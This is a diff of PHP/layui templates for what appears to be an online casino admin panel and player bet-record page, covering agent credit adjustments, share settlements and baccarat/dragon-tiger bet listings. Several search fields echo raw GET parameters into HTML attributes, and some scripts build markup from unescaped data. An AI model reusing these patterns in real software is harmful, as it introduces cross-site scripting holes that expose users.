<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出 excel</span>
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>账号</th>
<th>联系人</th>
<th>操作类型</th>
<th>操作金额</th>
<th>操作人</th>
<th>操作前余额</th>
<th>余额</th>
<th>创建日期</th>
<th>备注</th>
</tr>
</thead>
<tbody>
{foreach name="scoresList" item="vo"}
<tr>
<td>{$vo.username_for}</td>
<td>{$vo.nickname_for}</td>
{if condition="$vo.mode == 1"}
<td style="color:#ff5050;">{$vo.mode_msg}</td>
<td style="color:#ff5050;">{$vo.amount}</td>
{else}
<td style="color:#009688;">{$vo.mode_msg}</td>
<td style="color:#009688;">{$vo.amount}</td>
{/if}
<td>{$vo.controller_username}</td>
<td>{$vo.old_money}</td>
<td>{$vo.new_money}</td>
<td>{$vo.create_time}</td>
<td>{$vo.agent_or_admin_msg}</td>
</tr>
{/foreach}
</tbody>
</table>
{$scoresList->render()}
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav span').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == 1) location.href = '/agent/scores';
if(id == 2) location.href = '/agent/scores_add';
});
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
/**
* 封装 AJAX 函数
* @param url 目标地址
* @param query 参数
* @returns {string}
*/
function ajax(url, query) {
var returnData = "";
$.ajax({
url: url,
data: query,
type: 'POST',
dataType: 'JSON',
async: false,
success: function (data) {
returnData = data;
}
});
return returnData;
}
// 导出excel
$('#export').click(function(){
var startDate = $('#start').val();
var endDate = $('#end').val();
var agent_level = $('#agent_level').val();
var mode = $('#mode').val();
var username = $('#username').val();
layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/agent/scores?export=1&{$query}";
layer.close(index);
});
})
</script>
</body>
</html>
@@ -0,0 +1,291 @@
{include file="public/header"}
<style>
textarea, input[type="text"], input[type="password"],
.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
#search-agent{ padding-left:16px;padding-top:5px; background:#fff; border-radius:5px;position:absolute; left:315px;top:0; margin-left:-3px;display:block;height:21px; color:black; border:1px solid #ececec; width: 25px;cursor:pointer; }
#search-agent:hover{border-color:#ccc;}
#search-agent i{margin-top:30px;}
#search-agent:hover > i{ color:#148cf1; }
#search-agent i{ margin-left:-4px; }
#L_username{ background:#ececec; cursor:pointer; }
#agent_list{ width:300px; height:400px; border:1px solid #a2a2a2; position:absolute; left:550px; top:44px; z-index:99; background:#fff; display:none; }
#agent_list #header-box{ width:100%; height:40px; border-bottom:1px solid #ccc; position:relative; cursor:move; }
#agent_list #header-box a{ position:absolute; top:3px; right:20px; font-size:22px; }
#agent_list #header-box div{ height:30px; margin:10px 25px; line-height:30px; font-size:18px; font-weight:bold; color:#333; }
#agent_list .main-box{ height:50px; margin-top:10px; background:#fff; }
#agent_list .main-box label{ font-size:14px; margin-left:25px; margin-right:10px; }
#agent_list .main-box input{ border-radius:5px; height:30px; width:110px; border:1px solid #ccc; padding-left:5px; }
#agent_list .main-box input:focus{ border:1px solid #148cf1; }
#agent_list .main-box button{ background:#fff; border:1px solid #ccc; width:60px; height:30px; border-radius:5px; cursor:pointer; margin-left:10px; }
#agent_list .main-box button:hover{ border:1px solid #8a8a8a; }
#agent_list .main-box .z-tree{ margin-top:20px; height:240px; }
#agent_list .main-box .z-tree ul{ margin-left: 50px; }
#agent_list .main-box .z-tree ul li{ list-style: none; position:relative; height:20px; padding-left:2px; cursor:default; }
#agent_list .main-box .z-tree ul li:before{ position:absolute; top:-12px; left:-12px; content: ''; width: 10px; height: 20px; border-style: none none dotted dotted; border-width: 1px; border-color: #9e9e9e; }
#agent_list .main-box .z-tree ul li.first:before{ border-style: none none dotted none; }
#agent_list .main-box .z-tree ul li span.agent_name_box.on{ background:#eaeaea; border:1px solid #ccc; }
#agent_list .button-box{ height:40px; background:#eee; position:relative; top:249px; line-height:40px; }
#agent_list .button-box span{ position:absolute; right:10px; }
#agent_list .button-box span button{ width:50px; height:25px; margin-left:2px; border-radius:5px; }
#agent_list .button-box span button:hover{ background:#edefd1; }
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one" data-id="1">代理上下分记录列表</a>
<a href="javascript:;" class="list-two actived" data-id="2">代理上下分记录添加</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="info_from form-horizontal">
<div class="control-group">
<label class="control-label">账号:</label>
<div class="controls" style="position:relative;">
<input id="L_username" name="L_username" type="text" readonly maxlength="50" minlength="3" class="required">
<span id="search-agent"><i class="layui-icon">&#xe615;</i></span>
</div>
</div>
<div class="control-group">
<label class="control-label">操作类型:</label>
<div class="controls" style="padding-top: 5px;">
<input class="scores" name="scores" value="1" type="radio" class="required" style="width:20px;height: 14px;font-size: 14px;">上分
<input class="scores" name="scores" value="2" type="radio" class="required" style="width:20px;height: 14px;font-size: 14px;">下分
</div>
</div>
<div class="control-group">
<label class="control-label">操作金额:</label>
<div class="controls">
<input id="L_amount" name="L_amount" type="text" value maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">操作用户:</label>
<div class="controls">
<input id="L_controller" name="L_controller" type="text" readonly value="{$user_info.admin}" maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">余额:</label>
<div class="controls">
<input id="L_money" name="L_money" type="text" readonly value maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">备注:</label>
<div class="controls">
<textarea name="desc" id="L_remarks" placeholder="请输入内容" class="layui-textarea"></textarea>
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='submit'>保存</div>
</div>
</div>
</div>
<div id="agent_list">
<div id="header-box">
<div>选择总代理</div>
<a class="cancel" href="javascript:;">X</a>
</div>
<div class="main-box">
<div class="search-box">
<label class="key-word">关键字 :</label>
<input type="text" id="agent_name">
<button id="search_key_word">搜索</button>
</div>
<div class="z-tree" id="z-tree">
</div>
</div>
<div class="button-box">
<span>
<button class="ensure">确定</button>
<button class="cancel">取消</button>
</span>
</div>
<input type="hidden" id="short-username" value="">
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/agent/scores';
if(id == "2") location.href = '/agent/scores_add';
});
// 鼠标按下控件跟随移动
function mouseMoveBox(pressId,boxId){
var _move = false;//移动标记
var _x,_y;//鼠标离控件左上角的相对位置
$("#"+pressId).mousedown(function(e){
// 按下鼠标计算与控件的相对位置
_move = true;
_x = e.pageX-parseInt($("#"+boxId).css("left"));
_y = e.pageY-parseInt($("#"+boxId).css("top"));
});
$(document).mousemove(function(e){
if(_move){
//移动时根据鼠标位置计算控件左上角的绝对位置
var x=e.pageX-_x;
var y=e.pageY-_y;
$("#"+boxId).css({top:y,left:x});//控件新位置
}
}).mouseup(function(){
//松开鼠标后停止移动
_move = false;
});
}
// 代理列表跟随鼠标移动
mouseMoveBox('header-box','agent_list');
// 点击搜索所有的代理列表
$('#search-agent').click(function(){
var result = ajax('/agent/getAgent');
$('#z-tree').empty().append(result);
$('#agent_list').show();
});
$('#L_username').click(function(){
var result = ajax('/agent/getAgent');
$('#z-tree').empty().append(result);
$('#agent_list').show();
});
// 关键字搜索所有的代理列表
$('#search_key_word').click(function(){
var key_word = $('#agent_name').val();
if(key_word){
var query = new Object();
query.username = key_word;
var result = ajax('/agent/getAgent',query);
$('#z-tree').empty().append(result);
$('#agent_list').show();
}
});
// 选择代理名字
$('#agent_list').on('click','.tree-li',function(){
var username = $(this).find('span').eq(1).html();
// 调整样式
$('.agent_name_box').removeClass('on');
$(this).find('.agent_name_box').addClass('on');
// 动态数据
$('#short-username').val(username);
});
// 双击触发选择代理
$('#agent_list').on('dblclick','.tree-li',function(){
$('.ensure').trigger('click');
});
// 确定
$('.ensure').click(function(){
var username = $('#short-username').val();
$('#L_username').val(username);
$('#agent_list').hide();
// 获取代理余额信息
var username = $('#L_username').val();
if(username){
var result = ajax('/agent/getAgentMoney',{username:username});
// 显示余额限制
$('#L_money').val(result);
}
});
// 取消
$('.cancel').click(function(){
$('#agent_list').hide();
});
// 选择上分还是下分
$('.scores').click(function(){
var id = $(this).val();
if(id == 1) $('#L_remarks').html('总台上分 !');
if(id == 2) $('#L_remarks').html('总台下分 !');
})
//监听提交
$('.submit').click(function (data) {
// 获取和拼装添加代理的数据
var query = new Object();
query.username = $('#L_username').val();
query.amount = $('#L_amount').val();
query.mode = $('.scores:checked').val();
query.controller = $('#L_controller').val();
query.remarks = $('#L_remarks').val();
var money = $('#L_money').val();
// 验证数据
if(!query.username){
layer.alert("请选择账号!");
return false;
}
if(!query.mode){
layer.alert("请选择操作类型!");
return false;
}
if(!query.amount){
layer.alert("请输入操作金额!");
return false;
}
if(parseFloat(query.amount) <= 0){
layer.alert("操作金额必须大于0!");
return false;
}
if(query.mode == 2 && parseFloat(query.amount) > parseFloat(money)){
layer.alert("操作金额不能大于余额!");
return false;
}
// 发送数据到后台添加会员
var result = ajax('/agent/do_scores_add',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = "/agent/scores";
});
}else{
layer.alert(result.msg,{icon:2});
}
return false;
});
// AJAX函数封装
function ajax(url,query){
var returnData = 0;
$.ajax({
url:url,
data:query,
type:'POST',
dataType:'JSON',
async:false,
success:function(data){
returnData = data;
}
});
return returnData;
}
</script>
</body>
</html>
@@ -0,0 +1,87 @@
{include file="public/header"}
<style>
.x-nav{overflow: inherit; }
.x-nav .refresh{margin-right: 20px; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.change_box .scores_add_show{border-right:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative;border-left: 1px solid #e5e5e5;}
.change_box .scores_add_show{color: #3daae9;}
.change_box .scores_add_show:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.layui-input-block{ width:500px; }
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px;padding-top: 5px; }
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
.pass_back{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
</style>
<body>
<div class="x-nav">
<span class="change_box">
<a href="/agent/scores" class="scores_list">代理上下分记录列表</a>
<a href="javascript:;" class="scores_add_show">代理上下分记录查看</a>
</span>
<a class="layui-btn layui-btn-small" style="line-height:1.6em;margin-top:3px;float:right" href="javascript:location.replace(location.href);" title="刷新"><i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<form class="layui-form form-horizontal">
<div class="control-group">
<label class="control-label">账号:</label>
<div class="controls" style="position:relative;">
{$recharge.username_for}
</div>
</div>
<div class="control-group">
<label class="control-label">操作类型:</label>
{if condition="$recharge.mode == 1"}
<div class="controls" style="position:relative;color:#ff5050;">
{$recharge.mode_msg}
</div>
{else}
<div class="controls" style="position:relative;color:#009688;">
{$recharge.mode_msg}
</div>
{/if}
</div>
<div class="control-group">
<label class="control-label">操作金额:</label>
{if condition="$recharge.mode == 1"}
<div class="controls" style="position:relative;color:#ff5050;">
{$recharge.amount}
</div>
{else}
<div class="controls" style="position:relative;color:#009688;">
{$recharge.amount}
</div>
{/if}
</div>
<div class="control-group">
<label class="control-label">操作用户:</label>
<div class="controls" style="position:relative;">
{$recharge.admin_user_name}
</div>
</div>
<div class="control-group">
<label class="control-label">余额:</label>
<div class="controls" style="position:relative;">
{$recharge.new_money}
</div>
</div>
<div class="control-group">
<label class="control-label">备注:</label>
<div class="controls" style="position:relative;">
{$recharge.remake}
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<a href="/agent/scores">
<div class='pass_back'>返回</div>
</a>
</div>
</div>
</form>
<!-- 隐藏参数 -->
<input type="hidden" id="scores-id" value="{$recharge.id}">
</body>
</html>
@@ -0,0 +1,11 @@
<ul class="tree">
{foreach name="$agent_list" item="vo" key="k"}
<li class="<?php if($k == 0) echo 'first'; ?> tree-li" data-id="{$vo.id}">
<span class="agent_name_box">
<i class="iconfont" style="font-size:13px;">&#59186;</i>
<span>{$vo.username}</span>
</span>
</li>
{/foreach}
</ul>
@@ -0,0 +1,43 @@
{include file="public/header"}
<body>
<div class="x-body">
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
<table class="layui-table">
<div style="text-align: center;font-size: 18px;font-weight:bold;">代理上下分列表</div>
<thead>
<tr>
<th style="text-align: center;">账号</th>
<th style="text-align: center;">联系人</th>
<th style="text-align: center;">代理类型</th>
<th style="text-align: center;">操作类型</th>
<th style="text-align: center;">操作金额</th>
<th style="text-align: center;">操作人</th>
<th style="text-align: center;">余额</th>
<th style="text-align: center;">创建日期</th>
<th style="text-align: center;">备注</th>
</tr>
</thead>
<tbody>
{foreach name="scoresList" item="vo"}
<tr>
<td>{$vo.username_for}</td>
<td>{$vo.nickname_for}</td>
<td>{$vo.user_agent_level_msg}</td>
{if condition="$vo.mode == 1"}
<td>{$vo.mode_msg}</td>
<td>{$vo.amount}</td>
{else}
<td>{$vo.mode_msg}</td>
<td>{$vo.amount}</td>
{/if}
<td>{$vo.admin_user_name}</td>
<td>{$vo.new_money}</td>
<td>{$vo.create_time}</td>
<td>{$vo.remake}</td>
</tr>
{/foreach}
</tbody>
</div>
</body>
</html>
+277
View File
@@ -0,0 +1,277 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<meta name="full-screen" content="yes">
<meta name="x5-fullscreen" content="true">
<meta name="browsermode" content="application">
<meta name="x5-page-mode" content="app">
<meta name="msapplication-tap-highlight" content="no">
<meta name="x5-orientation" content="landscape">
<meta name="screen-orientation" content="landscape">
<title>下注记录</title>
<link rel="stylesheet" type="text/css" href="/static/horizontal/css/common.css">
<style>
body{moz-user-select: -moz-none; -moz-user-select: none; -o-user-select:none; -khtml-user-select:none; -webkit-user-select:none; -ms-user-select:none; user-select:none; }
.records{width:100%;}
.records li{display:block; overflow: hidden;}
.records .dataFinish{font-size:12px;text-align:center;color:#ccc;padding-top:5px;padding-bottom:45px;}
.record .content ul .zj span{color:#e3e657;}
.record .content ul span{box-sizing: border-box}
</style>
</head>
<body class="record">
<section class="main">
<!--<div class="head">-->
<!--<a href="/user/index?display=2" class="back"> </a>-->
<!--<div class="title">下注记录</div>-->
<!--</div>-->
<div class="opt_query">
<div id="fsub" class="">
<span class="opt_date">开始日期
<input name="startDate" type="text" id="startDate" value="{$get.startDate}" readonly />
</span>
<span class="opt_date">结束日期
<input name="endDate" type="text" id="endDate" value="{$get.endDate}" readonly/>
</span>
<input class="opt_type searchDate" type="button" data-id = "1" value="昨天" />
<input class="opt_type searchDate" type="button" data-id = "2" value="今天" />
<input class="opt_type searchDate" type="button" data-id = "3" value="上月" />
<input class="opt_type searchDate" type="button" data-id = "4" value="本月" />
<select name="game_id" id="game_id">
<option value="1" <?php if(isset($get['game_id']) && $get['game_id'] == 1) echo 'selected="selected"'; ?>>百家乐</option>
<option value="2" <?php if(isset($get['game_id']) && $get['game_id'] == 2) echo 'selected="selected"'; ?>>龙虎</option>
<option value="4" <?php if(isset($get['game_id']) && $get['game_id'] == 4) echo 'selected="selected"'; ?>>牛牛</option>
</select>
<input class="querys" type="submit" id="search" value="查询">
</div>
</div>
<div class="content">
<div class="con">
<ul>
<li class="header">
<span class="sj">时间</span>
<span class="jh">局号</span>
<span class="bh">赌台编号</span>
<span class="px">结果</span>
<span class="tzlx">投注类型</span>
<span class="tzje">投注金额</span>
<span class="yxtz">预扣金额</span>
<span class="pc">派彩</span>
</li>
<li class="records">
<ul>
{foreach name="$bet" item="vo"}
<li>
<span class="sj">{$vo.create_time}</span>
<span class="jh">{$vo.game_nume}</span>
<span class="bh">{$vo.table_name}</span>
<span class="px">{$vo.card_result}</span>
<span class="tzlx">{$vo.bet_type}</span>
<span class="tzje">{$vo.bet_amount}</span>
<span class="yxtz">{$vo.bet_amount_all}</span>
<span class="pc">{$vo.win}</span>
</li>
{/foreach}
</ul>
<div class="dataFinish">数据加载完毕</div>
</li>
<li class="zj">
<span class="sj"></span>
<span class="jh"></span>
<span class="bh"></span>
<span class="px"></span>
<span class="tzlx">总计</span>
<span class="tzje" id="betAmount">{$betAmount}</span>
<span class="yxtz" id="allAmount">{$allAmount}</span>
<span class="pc" id="allWinTotal">{$allWinTotal}</span>
</li>
</ul>
</div>
</div>
<input type="hidden" id="user_id" value="{$user_info.id}">
</section>
<script type="text/javascript" src="/static/horizontal/js/jquery-2.1.0.min.js"></script>
<script type="text/javascript" src="/static/horizontal/js/common.js"></script>
<script src="/static/horizontal/js/laydate/laydate.js"></script>
<script>
// 选择时间
laydate.render({
elem: '#startDate',
});
laydate.render({
elem: '#endDate',
});
// 快捷时间查询
$('.searchDate').click(function(){
// 快捷时间重组
var id = $(this).attr('data-id');
var result = getNeedTime(id);
$('#startDate').val(result.startDate);
$('#endDate').val(result.endDate);
// 快捷查询
$('#search').trigger('click');
});
// 查询数据
$('#search').click(function(){
// 获取查询条件
var startDate = $('#startDate').val();
var endDate = $('#endDate').val();
var game_id = $('#game_id').val();
var user_id = $('#user_id').val();
// 发送数据给后台
$.ajax({
url:'/betinfo/recordAjax',
data:{startDate:startDate,endDate:endDate,game_id:game_id,user_id:user_id},
type:'POST',
dataType:'JSON',
success:function(data){
if(data.code == 1){
// 重新赋值
var bet = data.bet;
var betAmount = data.betAmount;
var allAmount = data.allAmount;
var allWinTotal = data.allWinTotal;
// 组装数据
var str = '';
for(var i=0; i<bet.length; i++){
str += '<li>';
str += '<span class="sj">'+bet[i]["create_time"]+'</span>';
str += '<span class="jh">'+bet[i]["game_nume"]+'</span>';
str += '<span class="bh">'+bet[i]["table_name"]+'</span>';
str += '<span class="px">'+bet[i]["card_result"]+'</span>';
str += '<span class="tzlx">'+bet[i]["bet_type"]+'</span>';
str += '<span class="tzje">'+bet[i]["bet_amount"]+'</span>';
str += '<span class="yxtz">'+bet[i]["bet_amount_all"]+'</span>';
str += '<span class="pc">'+bet[i]["win"]+'</span>';
str += '</li>';
}
// 显示数据
$('.records').find('ul').empty().append(str);
$('#betAmount').html(betAmount);
$('#allAmount').html(allAmount);
$('#allWinTotal').html(allWinTotal);
}
}
});
});
// 自定义时间函数
function getNeedTime(type,format){
var now = new Date();
var year = now.getFullYear();
var query = new Object();
var startYear;
var endYear;
var startMonth;
var endMonth;
var startDay;
var endDay;
var startDate;
var endDate;
switch(parseInt(type)){
// 昨天
case 1:
startYear = year;
endYear = year;
startMonth = plusZero(now.getMonth() + 1);
endMonth = plusZero(now.getMonth() + 1);
startDay = plusZero(now.getDate() - 1);
endDay = plusZero(now.getDate() - 1);
break;
// 今天
case 2:
startYear = year;
endYear = year;
startMonth = plusZero(now.getMonth() + 1);
endMonth = plusZero(now.getMonth() + 1);
startDay = plusZero(now.getDate());
endDay = plusZero(now.getDate());
break;
// 上月
case 3:
if(now.getMonth() + 1 == 1){
startYear = year - 1;
endYear = year - 1;
startMonth = 12;
endMonth = 12;
}else{
startYear = year;
endYear = year;
startMonth = plusZero(now.getMonth());
endMonth = plusZero(now.getMonth());
}
startDay = '01';
endDay = plusZero(new Date(year,endMonth,0).getDate());
break;
// 本月
case 4:
startYear = year;
endYear = year;
startMonth = plusZero(now.getMonth() + 1);
endMonth = plusZero(now.getMonth() + 1);
startDay = '01';
endDay = plusZero(new Date().getDate());
break;
// 全部
case 5:
startYear = '2018';
endYear = year;
startMonth = '01';
endMonth = plusZero(now.getMonth() + 1);
startDay = '01';
endDay = plusZero(new Date().getDate());
break;
}
if(format == 1){
startDate = startYear + '-' + startMonth + '-' + startDay + ' 00:00:00';
endDate = endYear + '-' + endMonth + '-' + endDay + ' 23:59:59';
}else{
startDate = startYear + '-' + startMonth + '-' + startDay;
endDate = endYear + '-' + endMonth + '-' + endDay;
}
query.startDate = startDate;
query.endDate = endDate;
return query;
}
// 月和日 前加0;
function plusZero(str){
if(str != undefined){
if(str >= 1 && str <= 9){
str = "0" + str.toString();
}
}
return str;
}
</script>
<style type="text/css">
.page-landscape {width: 100%; height: 100%; background: #333; position: fixed; left: 0; right: 0; top: 0; bottom: 0; z-index: 9999999; display: none; text-align: center; }
.page-landscape-box {position: relative; margin-left: auto; margin-right: auto; top: 50%; transform: translateY(-50%); -webkit-transform: translateY(-50%); }
.page-landscape img {-webkit-animation: page-landscapeAni 1.2s ease infinite alternate; animation: page-landscapeAni 1.2s ease infinite alternate; }
.page-landscape span {font-size: 16px; display: block; color: #FFFFFF; text-align: center; width: 100%; padding-top: 40px; line-height: 2; }
@keyframes page-landscapeAni{0% {transform: rotate(90deg); } 30% {transform: rotate(90deg); } 70% {transform: rotate(0deg); } 100% {transform: rotate(0deg); } }
@-webkit-keyframes page-landscapeAni{0% {-webkit-transform: rotate(90deg); } 30% {-webkit-transform: rotate(90deg); } 70% {-webkit-transform: rotate(0deg); } 100% {-webkit-transform: rotate(0deg); } }
@-o-keyframes page-landscapeAni{0% {-o-transform: rotate(90deg); } 30% {-o-transform: rotate(90deg); } 70% {-o-transform: rotate(0deg); } 100% {-o-transform: rotate(0deg); } }
@-ms-keyframes page-landscapeAni{0% {-ms-transform: rotate(90deg); } 30% {-ms-transform: rotate(90deg); } 70% {-ms-transform: rotate(0deg); } 100% {-ms-transform: rotate(0deg); } }
</style>
<div class="page-landscape" id="page-landscape" style="display: none;">
<div class="page-landscape-box">
<img src="/static/horizontal/img/sideways.png" id="page-landscape-pic" style="display:inline-block;" width="114" height="60">
<span>为了更好的体验,请使用横屏浏览</span>
</div>
</div>
</body>
</html>
+125
View File
@@ -0,0 +1,125 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:12px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">结算记录</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/cs/cs_check" method="get">
<input class="layui-input" placeholder="开始日" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
<input class="layui-input" placeholder="截止日" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
<div class="layui-input-block" >
<select name="admin_or_agent" id="admin_or_agent">
<option value="">全部结算记录</option>
<option value="1" <?php if(isset($get['admin_or_agent']) && $get['admin_or_agent'] == 1) {echo 'selected';} ?>>查询总台操作结算记录</option>
</select>
</div>
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出 excel</span>
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>用户名</th>
<th>占成(%)</th>
<th>占股结算金额</th>
<th>操作人</th>
<th>结算时间</th>
<th>备注</th>
</tr>
</thead>
<tbody>
{foreach name="cs_list" item="vo"}
<tr>
<td>{$vo.username}</td>
<td>{$vo.agent_cs}</td>
<td>{$vo.share_amount}</td>
<td>{$vo.connection_username}</td>
<td>{$vo.create_time}</td>
<td>{$vo.admin_or_agent_msg}</td>
</tr>
{/foreach}
</tbody>
</table>
{$cs_list->render()}
</div>
<script>
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
/**
* 封装 AJAX 函数
* @param url 目标地址
* @param query 参数
* @returns {string}
*/
function ajax(url, query) {
var returnData = "";
$.ajax({
url: url,
data: query,
type: 'POST',
dataType: 'JSON',
async: false,
success: function (data) {
returnData = data;
}
});
return returnData;
}
// 导出excel
$('#export').click(function(){
var startDate = $('#start').val();
var endDate = $('#end').val();
var username = $('#username').val();
layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/cs/cs_check?export=1&{$query}";
layer.close(index);
});
})
</script>
</body>
</html>
+177
View File
@@ -0,0 +1,177 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ /*margin-top:15px; margin-bottom:-5px;*/ padding: 10px 0; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.alert{position:fixed; top:30%; left:30%; width:600px; min-height:320px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
.alert-title{background:#F2F2F2; height:40px; padding-left:30px; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;}
.alert-main th{width:40%;}
.alert-footer{padding:20px; text-align:center;}
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">占股管理</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right" href="javascript:location.replace(location.href);" title="刷新"><i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/cs/index" method="get">
